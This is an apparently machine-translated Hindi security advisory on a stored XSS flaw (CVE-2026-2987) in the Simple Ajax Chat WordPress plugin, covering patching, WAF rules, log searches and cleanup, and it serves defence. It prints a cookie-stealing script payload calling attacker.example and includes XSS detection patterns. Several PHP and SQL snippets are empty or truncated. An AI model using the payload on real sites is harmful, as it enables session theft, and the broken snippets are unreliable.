तत्काल: “सरल Ajax चैट” में अप्रमाणित संग्रहीत XSS (CVE-2026-2987) — वर्डप्रेस साइट के मालिकों को अब क्या करना चाहिए

एक सार्वजनिक सलाह ने सरल Ajax चैट वर्डप्रेस प्लगइन (संस्करण <= 20260217) में संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता का खुलासा किया है, जिसे CVE-2026-2987 के रूप में ट्रैक किया गया है। विक्रेता ने 2026-03-01 को एक पैच जारी किया; जो साइटें अपडेट नहीं हुई हैं वे कमजोर बनी हुई हैं। एक अप्रमाणित हमलावर एक पैरामीटर के माध्यम से JavaScript संग्रहीत कर सकता है जिसका नाम है c, जिसे बाद में अन्य लोग चैट आउटपुट देखते समय साइट संदर्भ में प्रस्तुत किया जाता है — संभावित रूप से विशेषाधिकार प्राप्त उपयोगकर्ताओं को शामिल करते हुए।.

मैं एक हांगकांग स्थित सुरक्षा प्रैक्टिशनर के रूप में लिखता हूं जिसके पास वर्डप्रेस प्लगइन घटनाओं का जवाब देने का संचालन अनुभव है। यह पोस्ट एक स्पष्ट, व्यावहारिक प्रतिक्रिया योजना देती है:

• भेद्यता और जोखिम का सरल-भाषा में स्पष्टीकरण
• हमलावर इसे कैसे भुनाते हैं और वास्तविक दुनिया में प्रभाव
• तत्काल आपातकालीन कार्रवाई जो आपको करनी चाहिए
• डेवलपर-सुरक्षित कोड फिक्स और आउटपुट-एस्केपिंग उदाहरण
• WAF शमन नियम जिन्हें आप तुरंत लागू कर सकते हैं
• यदि आप प्रभावित हुए हैं तो पहचानने के टिप्स और सफाई प्रक्रियाएं

त्वरित सारांश (60 सेकंड)

• भेद्यता: पैरामीटर के माध्यम से संग्रहीत XSS c सरल Ajax चैट में (<= 20260217)।.
• गंभीरता: मध्यम (CVSS 7.1) — लेकिन वास्तविक प्रभाव उच्च हो सकता है यदि विशेषाधिकार प्राप्त उपयोगकर्ता इंजेक्टेड सामग्री को देखते हैं।.
• CVE: CVE-2026-2987।.
• पैच किया गया: 2026-03-01। तुरंत प्लगइन को संस्करण में अपडेट करें 20260301 या बाद में।.
• यदि आप तुरंत अपडेट नहीं कर सकते: प्लगइन को निष्क्रिय करें, चैट एंडपॉइंट्स तक पहुंच को प्रतिबंधित करें, या स्क्रिप्ट-जैसे पेलोड को ब्लॉक करने के लिए WAF नियम लागू करें c पैरामीटर।.
• पैचिंग के बाद: संग्रहीत दुर्भावनापूर्ण संदेशों को खोजें और हटाएं और यदि शोषण के सबूत हैं तो क्रेडेंशियल्स को घुमाएं।.

संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (स्टोर्ड XSS) क्या है - और यह क्यों चिंताजनक है?

संग्रहीत XSS तब होता है जब एक हमलावर दुर्भावनापूर्ण HTML/JavaScript प्रस्तुत करता है जिसे सर्वर स्थायी रूप से संग्रहीत करता है और बाद में उपयोगकर्ताओं को वापस सर्व करता है। जब वह सामग्री एक पीड़ित के ब्राउज़र में प्रस्तुत की जाती है, तो हमलावर का कोड पीड़ित के सत्र संदर्भ में निष्पादित होता है।.

इस सलाह में:

• प्लगइन एक पैरामीटर को उजागर करता है c जो चैट सामग्री के लिए उपयोग किया जाता है।.
• एक अप्रमाणित हमलावर कस्टम इनपुट भेज सकता है c जो संग्रहीत हो जाता है।.
• जब कोई अन्य उपयोगकर्ता (अक्सर एक व्यवस्थापक या संपादक) चैट को देखता है, तो संग्रहीत पेलोड उस उपयोगकर्ता के विशेषाधिकार के साथ निष्पादित होता है।.
• परिणामों में सत्र चोरी, व्यवस्थापकों की ओर से CSRF-जैसी क्रियाएँ, स्थायी मैलवेयर, रीडायरेक्ट, या डेटा निकासी शामिल हैं।.

सबसे बड़े जोखिम में कौन है?

• साइटें जो सरल Ajax चैट संस्करण <= 20260217 चला रही हैं जिन्होंने 2026-03-01 अपडेट लागू नहीं किया है।.
• साइटें जहाँ विशेषाधिकार प्राप्त उपयोगकर्ता नियमित रूप से चैट सामग्री या डैशबोर्ड देखते हैं जो चैट आउटपुट शामिल करते हैं।.
• साइटें जो उच्च विशेषाधिकार प्राप्त खातों द्वारा सुलभ पृष्ठों में चैट आउटपुट को एम्बेड करती हैं।.
• साइटें जिनमें कोई WAF या आभासी पैचिंग नहीं है।.

एक हमलावर इसे कैसे शोषण कर सकता है (व्यावहारिक उदाहरण)

1. हमलावर चैट एंडपॉइंट पर एक अनुरोध भेजता है c जिसमें एक JavaScript पेलोड होता है, उदाहरण के लिए: <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>.
2. प्लगइन सामग्री को उचित सफाई के बिना डेटाबेस में स्थायी रूप से संग्रहीत करता है।.
3. जब एक व्यवस्थापक चैट को देखता है, तो ब्राउज़र संग्रहीत स्क्रिप्ट को निष्पादित करता है।.
4. पेलोड द्वारा संभावित क्रियाएँ: कुकीज़/स्थानीय भंडारण चुराना, व्यवस्थापक के रूप में क्रियाएँ करना, आगे की स्क्रिप्ट इंजेक्ट करना, पृष्ठों को रीडायरेक्ट करना, कीस्ट्रोक लॉग करना, या साइट आंतरिक को सूचीबद्ध करना।.

तत्काल कदम जो आपको उठाने चाहिए (घटना चेकलिस्ट)

यदि आप किसी भी साइट पर Simple Ajax Chat चला रहे हैं, तो अभी ये क्रियाएँ करें:

1. प्लगइन को अपडेट करें 20260301 (या बाद में) तुरंत। यह प्राथमिक समाधान है।.
2. यदि आप तुरंत अपडेट नहीं कर सकते, तो प्लगइन को निष्क्रिय करें जब तक आप पैच नहीं कर सकते।.
3. स्क्रिप्ट टैग, इवेंट हैंडलर्स (onerror, onclick, onload) के साथ अनुरोधों को ब्लॉक करने के लिए WAF नियम लागू करें, जावास्क्रिप्ट: URI, या अन्य स्पष्ट पेलोड में c पैरामीटर।.
4. जहां संभव हो, चैट एंडपॉइंट तक पहुंच को प्रतिबंधित करें - IP, प्रमाणीकरण, या क्षमता जांच द्वारा।.
5. सुधारात्मक कदमों से पहले एक पूर्ण बैकअप लें (फाइलें + DB)।.
6. संग्रहीत दुर्भावनापूर्ण संदेशों की खोज करें और उन्हें हटा दें (देखें , त्रुटि होने पर=, जावास्क्रिप्ट:, base64 ब्लॉब)।.
7. प्रशासक लॉगिन और सत्रों का ऑडिट करें; यदि समझौता संदेहास्पद है तो प्रशासक पासवर्ड और API कुंजियों को घुमाएँ।.
8. वेब शेल, अप्रत्याशित प्रशासक खातों, और संशोधित फाइलों के लिए स्कैन करें।.
9. हार्डनिंग लागू करें: HttpOnly/Secure कुकी फ्लैग, SameSite, और XSS प्रभाव को कम करने के लिए अस्थायी CSP हेडर पर विचार करें।.
10. यदि समझौता पुष्टि हो जाता है, तो साइट को अलग करें, फोरेंसिक्स करें, एक साफ बैकअप से पुनर्स्थापित करें, और आवश्यकतानुसार प्रभावित पक्षों को सूचित करें।.

पैच बनाम वर्चुअल पैचिंग - किसे चुनें?

पैच (प्लगइन अपडेट) स्थायी समाधान है। वर्चुअल पैचिंग (WAF) एक तात्कालिक रोकथाम है जो शोषण प्रयासों को ब्लॉक करता है जब तक आप अपडेट नहीं कर सकते या यदि सक्रिय शोषण देखा जाता है। कई साइटों का प्रबंधन करने वाले संगठनों के लिए, वर्चुअल पैचिंग जोखिम को कम करता है जबकि अपडेट निर्धारित होते हैं।.

उदाहरण WAF नियम जो आप अभी लागू कर सकते हैं

नीचे ModSecurity-शैली और Nginx उदाहरण हैं। गलत सकारात्मकता से बचने के लिए पहले स्टेजिंग में परीक्षण करें, विशेष रूप से यदि वैध चैट सामग्री में HTML फॉर्मेटिंग शामिल हो सकती है।.

ModSecurity (v3) - पैरामीटर में सरल टैग को ब्लॉक करें c:

# Block <script> tags in parameter "c"
SecRule ARGS:c "(?i)(<script\b|%3Cscript%3E|javascript:|onerror=|onload=|<img\b[^>]*on\w+=)" \
    "id:100001,phase:2,deny,log,msg:'Block suspected stored XSS payload in c parameter',severity:CRITICAL"

एन्कोडेड पेलोड को पकड़ने के लिए व्यापक ModSecurity नियम:

SecRule ARGS_NAMES|ARGS|REQUEST_BODY "(?i)(%3Cscript%3E|%3C%2Fscript%3E|%3Cimg%20%7C%3Csvg%20|javascript:|data:text/html|%3Ciframe%3E)" \
    "id:100002,phase:2,deny,log,msg:'Block encoded script-like payloads',severity:CRITICAL"

Nginx (मैप-आधारित) उदाहरण:

# In your server block
if ($arg_c ~* "(<script\b|%3Cscript%3E|javascript:|onerror=|onload=)") {
    return 403;
}

OWASP CRS ट्यूनिंग टिप्स:

• स्क्रिप्ट टैग या संदिग्ध इवेंट हैंडलर्स के लिए अनुरोध पैरामीटर और बॉडी की जांच करने वाले नियम सक्षम करें।.
• जहां सुरक्षित हो वहां पैरामीटर-आधारित व्हाइटलिस्टिंग का उपयोग करें (जैसे, सरल मार्कडाउन की अनुमति दें लेकिन टैग को ब्लॉक करें)।.
• नियमों को परिष्कृत करने के लिए मॉनिटर मोड (लॉग-केवल) में शुरू करें, फिर जब आत्मविश्वास हो तो ब्लॉकिंग पर जाएं।.

डेवलपर फिक्स — सेव करते समय साफ करें और आउटपुट पर एस्केप करें

यदि आप प्लगइन या एक फोर्क बनाए रखते हैं, तो सर्वर-साइड इनपुट सफाई और उचित आउटपुट एस्केपिंग दोनों लागू करें।.

सेव करते समय साफ करें (PHP उदाहरण):

<?php

आउटपुट पर एस्केप करें (PHP उदाहरण):

<?php

अतिरिक्त सर्वर-साइड हार्डनिंग:

• AJAX एंडपॉइंट्स के लिए नॉनसेस का उपयोग करें: check_ajax_referer( 'sac_nonce', 'nonce' );
• क्षमता जांच लागू करें: current_user_can( 'edit_posts' ) जहाँ उपयुक्त हो।.
• कस्टम DB इंसर्ट के लिए तैयार बयानों का उपयोग करें।.
• यदि प्लगइन को स्वरूपित सामग्री की आवश्यकता है, तो एक सख्त wp_kses श्वेतसूची लागू करें और जावास्क्रिप्ट: 8. और रैपर और फ़िल्टर को अस्वीकार करें: URI।.

डेटाबेस सफाई: संग्रहीत पेलोड को सुरक्षित रूप से खोजें और हटाएं

परिवर्तन करने से पहले हमेशा एक पूर्ण बैकअप लें। यह पहचानें कि संदेश कहां संग्रहीत हैं - एक कस्टम तालिका, पोस्ट प्रकार, या विकल्प - प्लगइन स्रोत का निरीक्षण करके।.

पाठ-समान कॉलम की पहचान करें:

SELECT TABLE_NAME, COLUMN_NAME;

के लिए संदिग्ध तालिका की खोज करें:

SELECT id, message_column;

संदिग्ध कॉलम को खोजने के लिए सामान्य दृष्टिकोण, फिर उनका निरीक्षण करें:

SELECT CONCAT(table_name,':',column_name) AS location;

मेल खाने वाली सामग्री को हटाने के लिए, मैनुअल समीक्षा के बाद एप्लिकेशन-चालित सफाई को प्राथमिकता दें। अंतिम उपाय के रूप में, डेटाबेस-साइड प्रतिस्थापन (नाजुक) उदाहरण:

UPDATE wp_custom_chat_table;

नोट: REGEXP_REPLACE पुराने MySQL संस्करणों पर उपलब्ध नहीं हो सकता। सुरक्षित: मेल खाता निर्यात करें, ऑफ़लाइन साफ़ करें, और पुनः आयात करें।.

शोषण और समझौते के संकेतों (IoCs) का पता लगाना

देखें:

• चैट एंडपॉइंट्स के लिए अनुरोध जिसमें <script>, %3Cscript%3E, त्रुटि होने पर=, जावास्क्रिप्ट:, या संदिग्ध base64 ब्लॉब।.
• अप्रत्याशित व्यवस्थापक रीडायरेक्ट या नए व्यवस्थापक उपयोगकर्ता।.
• प्लगइन/थीम फ़ाइलों में अचानक परिवर्तन या नए निर्धारित कार्य।.
• अज्ञात डोमेन के लिए आउटबाउंड कनेक्शन (एक्सेस लॉग में फ़ेच/बीकन URLs की जांच करें)।.
• संदिग्ध POST अनुरोध admin-ajax.php या अन्य चैट-संबंधित एंडपॉइंट्स।.

सहायक लॉग खोज कमांड (आवश्यकतानुसार पथ समायोजित करें):

# Search access logs for suspicious patterns in parameter c
grep -i "c=%3Cscript" /var/log/nginx/access.log*
grep -i "c=<script" /var/log/nginx/access.log*

# Search for admin-ajax POST requests used to submit payloads
grep -i "admin-ajax.php" /var/log/nginx/access.log* | grep -i "action=simple_ajax_chat"

# Dump DB and search for <script occurrences
mysqldump -u user -p database > dump.sql
grep -i "<script" dump.sql

भविष्य में XSS प्रभाव को कम करने के लिए सख्त उपाय

• कुकी चोरी को कठिन बनाने के लिए सत्र कुकीज़ पर HttpOnly और Secure ध्वज सेट करें।.
• सामग्री सुरक्षा नीति (CSP) को सावधानीपूर्वक लागू करें - पहले परीक्षण करें। उदाहरण: सामग्री-सुरक्षा-नीति: डिफ़ॉल्ट-स्रोत 'स्वयं'; स्क्रिप्ट-स्रोत 'स्वयं' 'नॉन्स-...'; ऑब्जेक्ट-स्रोत 'कोई नहीं';
• CSRF जोखिम को कम करने के लिए SameSite कुकी विशेषताओं का उपयोग करें।.
• उन प्लगइन्स तक सीमित करें जिनकी आपको सक्रिय रूप से आवश्यकता है और उन्हें अपडेट रखें।.
• एडमिन एक्सेस की सुरक्षा करें: समर्पित एडमिन URL, IP प्रतिबंध, 2FA, और खातों के लिए न्यूनतम विशेषाधिकार।.
• अप्रत्याशित परिवर्तनों के लिए फ़ाइल अखंडता और अनुसूचित कार्यों की निगरानी करें।.
• नियमित, परीक्षण किए गए बैकअप और एक पुनर्प्राप्ति योजना बनाए रखें।.

संदिग्ध समझौते के बाद फोरेंसिक्स और सुधार

1. वातावरण को अलग करें (रखरखाव मोड) और लॉग को संरक्षित करें (वेब सर्वर, PHP, DB)।.
2. परिवर्तनों को करने से पहले एक फोरेंसिक स्नैपशॉट (फाइलें + DB) बनाएं।.
3. दायरा निर्धारित करें: क्या केवल चैट संदेश इंजेक्ट किए गए थे, या फ़ाइलें संशोधित की गईं / स्थायीता बनाई गई?
4. संग्रहीत पेलोड्स और किसी भी दुर्भावनापूर्ण फ़ाइलों/बैकडोर को हटा दें।.
5. सभी विशेषाधिकार प्राप्त क्रेडेंशियल्स और API टोकन को रीसेट करें।.
6. विश्वसनीय स्रोतों से कोर/थीम/प्लगइन्स को फिर से स्थापित करें या एक सत्यापित स्वच्छ बैकअप से पुनर्स्थापित करें।.
7. मैलवेयर स्कैन फिर से चलाएं और कई दिनों से हफ्तों तक दोहराए जाने वाली गतिविधियों की निगरानी करें।.
8. यदि हमलावर ने स्थिरता स्थापित की है, तो गहन जांच के लिए पेशेवर घटना प्रतिक्रिया सेवाओं पर विचार करें।.

WAF के साथ वर्चुअल पैचिंग क्यों उपयोगी है, यह अल्पकालिक

जब एक कमजोरियों का सार्वजनिक होता है, तो शोषण के प्रयास जल्दी दिखाई दे सकते हैं। एक अच्छी तरह से ट्यून किया गया WAF कर सकता है:

• शोषण के प्रयासों को एप्लिकेशन तक पहुँचने से पहले किनारे पर रोकें।.
• कई साइटों में प्लगइन अपडेट को समन्वयित करने के लिए समय खरीदें।.
• शोर को कम करें और जांच के लिए लॉग प्रदान करें।.

WAF नियमों का अस्थायी नियंत्रण के रूप में उपयोग करें - हमेशा आधिकारिक प्लगइन अपडेट और सफाई के साथ फॉलो करें।.

असुरक्षित आउटपुट के लिए अपने कोड को जल्दी कैसे खोजें

अनएस्केप्ड आउटपुट की तलाश करें जैसे:

• echo $message; या print $message;

एस्केपिंग फ़ंक्शंस के साथ बदलें:

• echo esc_html( $message );
• या, जहां सुरक्षित HTML की आवश्यकता है: echo wp_kses_post( $message );

AJAX एंडपॉइंट्स के लिए, सहेजने से पहले इनपुट को साफ करें: sanitize_text_field(), wp_kses().

अक्सर पूछे जाने वाले प्रश्न

प्रश्न: मैंने प्लगइन अपडेट किया - क्या मुझे अभी भी WAF की आवश्यकता है?

A: पैचिंग आगे की कमजोरियों को ठीक करती है, लेकिन WAF गहराई में रक्षा प्रदान करता है और शोषण के प्रयासों को रोक सकता है, विशेष रूप से पैचिंग विंडो के दौरान या यदि कुछ साइटें बिना पैच की रहती हैं।.

Q: यदि मैं अपडेट करता हूँ, तो क्या मुझे अभी भी दुर्भावनापूर्ण संदेशों की खोज करनी होगी?

A: हाँ। पैचिंग भविष्य के इंजेक्शनों को रोकती है लेकिन मौजूदा संग्रहीत पेलोड को नहीं हटाती। ऊपर दिए गए सफाई चरणों का पालन करें।.

Q: क्या सामग्री की सफाई वैध चैट प्रारूप को तोड़ देगी?

A: संभवतः। यदि चैट जानबूझकर HTML का समर्थन करती है, तो एक सख्त लागू करें wp_kses अनुमति प्राप्त मार्कअप को बनाए रखते हुए जोखिम भरे गुण/टैग को हटाने के लिए व्हाइटलिस्ट और परीक्षण करें।.

प्रश्न: मुझे एक घटना के बाद कितनी देर तक निगरानी करनी चाहिए?

उत्तर: कई हफ्तों तक निगरानी करें। हमलावर अक्सर प्रारंभिक पहुंच के बाद पुनः प्रवेश या अन्य कमजोरियों की ओर बढ़ने का प्रयास करते हैं।.

हांगकांग के सुरक्षा विशेषज्ञ से अंतिम विचार

प्लगइन कमजोरियां वर्डप्रेस पारिस्थितिकी तंत्र में एक सामान्य और गंभीर हमले का तरीका बनी रहती हैं। Simple Ajax Chat में यह संग्रहीत XSS एक और अनुस्मारक है: हमेशा इनपुट पर साफ करें और आउटपुट पर एस्केप करें। अपडेट करने को प्राथमिकता दें 20260301 तुरंत। यदि आप कई साइटों का प्रबंधन करते हैं, तो अपडेट का समन्वय करें, जहां आवश्यक हो वहां अस्थायी वर्चुअल पैच लागू करें, और सत्यापन के लिए ऊपर दिए गए पहचान और सफाई के चरणों का उपयोग करें।.

यदि आपको हाथों-हाथ सहायता की आवश्यकता है, तो सुधार और फोरेंसिक्स में मदद के लिए एक प्रतिष्ठित घटना प्रतिक्रिया प्रदाता या अनुभवी वर्डप्रेस सुरक्षा सलाहकार से संपर्क करें।.

सतर्क रहें, प्लगइन्स को अपडेट रखें, और सख्त इनपुट/आउटपुट हैंडलिंग को लागू करें - ये प्रथाएं निरंतर XSS हमलों की संभावना और प्रभाव को कम करती हैं।.

— हांगकांग सुरक्षा विशेषज्ञ

परिशिष्ट: त्वरित चेकलिस्ट (कॉपी-पेस्ट)

• [ ] Simple Ajax Chat को 20260301 या बाद के संस्करण में अपडेट करें
• [ ] यदि अपडेट करने में असमर्थ हैं, तो प्लगइन को निष्क्रिय करें या चैट एंडपॉइंट को ब्लॉक करें
• [ ] को ब्लॉक करने के लिए WAF नियम लागू करें, जावास्क्रिप्ट:, त्रुटि पर पैटर्न
• [ ] सुधार से पहले साइट का बैकअप लें (फाइलें + DB)
• [ ] <script, के लिए DB में खोजें, त्रुटि पर, जावास्क्रिप्ट: और प्रविष्टियों को साफ करें
• [ ] यदि शोषण का संदेह हो तो व्यवस्थापक क्रेडेंशियल्स और API कुंजी बदलें
• [ ] वेब शेल और अनधिकृत व्यवस्थापक उपयोगकर्ताओं के लिए स्कैन करें
• [ ] HttpOnly, Secure, और SameSite कुकी फ्लैग सक्षम करें
• [ ] सफाई करते समय एक प्रतिबंधात्मक CSP जोड़ने पर विचार करें